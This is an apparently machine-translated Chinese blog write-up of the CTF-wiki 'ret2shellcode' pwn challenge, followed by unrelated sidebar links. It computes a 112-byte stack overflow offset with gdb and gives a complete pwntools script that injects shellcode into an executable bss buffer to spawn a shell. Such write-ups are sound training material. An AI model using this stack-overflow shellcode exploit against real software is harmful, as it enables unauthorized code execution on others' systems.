当前位置:网站首页>Learn PWN from CTF wiki - ret2shellcode
Learn PWN from CTF wiki - ret2shellcode
2022-07-02 03:07:00 【Big Ruida】
link : Configuration tool ,gdb,ida
ret2shellcode Answer key
checksec see :
no canary= You can simply stack overflow 
NX disabled = take shellcode Put in the data segment , Can execute
ida see :
You can enter 100 Bytes , Copied to the buf2, Cannot overflow 
original buf2 stay bss paragraph ,
bss paragraph : Generally, it refers to uninitialized or initialized as 0 An area of memory for global and static variables , It is characterized by reading and writing , Before the program is executed ,bss Duan Qing 0
Can it be implemented
gdb debugging :
gdb ret2shellcode
disas main
b main
r
vmmap

You can see 0804A080 This address is in the area selected above , Show rwxp You can read and write .
lea eax,[esp+0x1c]
mov DWORD PTR [esp], eax
# You can know that the starting address of the string is different from esp by +0x1c
So distance ebp The address is 0x88-0x1c = 0x6C
Then the return address is overwritten :
+-----------------+
| /bin/sh | primary ret Return to position
+-----------------+
| holk | primary saved ebp Location (4 byte )
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s start ,ebp-0x6C-->+-----------------+
0x6C+4 = 112( Decimal system ) Bytes .
You know the number of overflow characters , Next look for system(/bin/sh)
Stack overflow problem , With the overflow character amount , With system(/bin/sh) That is to complete the topic , Unfortunately, Mu you …
It can be constructed by itself shellcode【system(/bin/sh)】
shellcode = asm(shellcraft.sh())
structure payload
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
边栏推荐
- What is hybrid web containers for SAP ui5
- GB/T-2423. XX environmental test documents, including the latest documents
- 命名块 verilog
- 2022 hoisting machinery command examination paper and summary of hoisting machinery command examination
- 4. Find the median of two positive arrays
- 批量检测url是否存在cdn—高准确率
- 寻找重复数[抽象二分/快慢指针/二进制枚举]
- Verilog 线型wire 种类
- [road of system analyst] collection of wrong topics in enterprise informatization chapter
- 2022-2028 global soft capsule manufacturing machine industry research and trend analysis report
猜你喜欢

New programmer magazine | Li Penghui talks about open source cloud native message flow system

2022-2028 global military computer industry research and trend analysis report

Mongodb non relational database

Share the basic knowledge of a common Hongmeng application

QT实现界面跳转

Verilog 过程连续赋值

Render header usage of El table

el-table的render-header用法

MVVM and MVC

PHP notes - use Smarty to set public pages (include, if, else, variable settings)
随机推荐
Feature query of hypergraph iserver rest Service
Jointly developed by nailing, the exclusive functions of glory tablet V7 series were officially launched
命名块 verilog
Tupu software has passed CMMI5 certification| High authority and high-level certification in the international software field
Which kind of sports headphones is easier to use? The most recommended sports headphones
verilog 并行块实现
Competition and adventure burr
连通块模板及变式(共4题)
Yyds dry goods inventory accelerating vacuum in PG
The number one malware in January 2022: lokibot returned to the list, and emotet returned to the top
GB/T-2423.xx 环境试验文件,整理包括了最新的文件里面
JDBC details
[question 008: what is UV in unity?]
只需简单几步 - 开始玩耍微信小程序
Mongodb non relational database
跟着CTF-wiki学pwn——ret2shellcode
Baohong industry | what misunderstandings should we pay attention to when diversifying investment
Apple added the first iPad with lightning interface to the list of retro products
旋转框目标检测mmrotate v0.3.1 学习模型
Connected block template and variants (4 questions in total)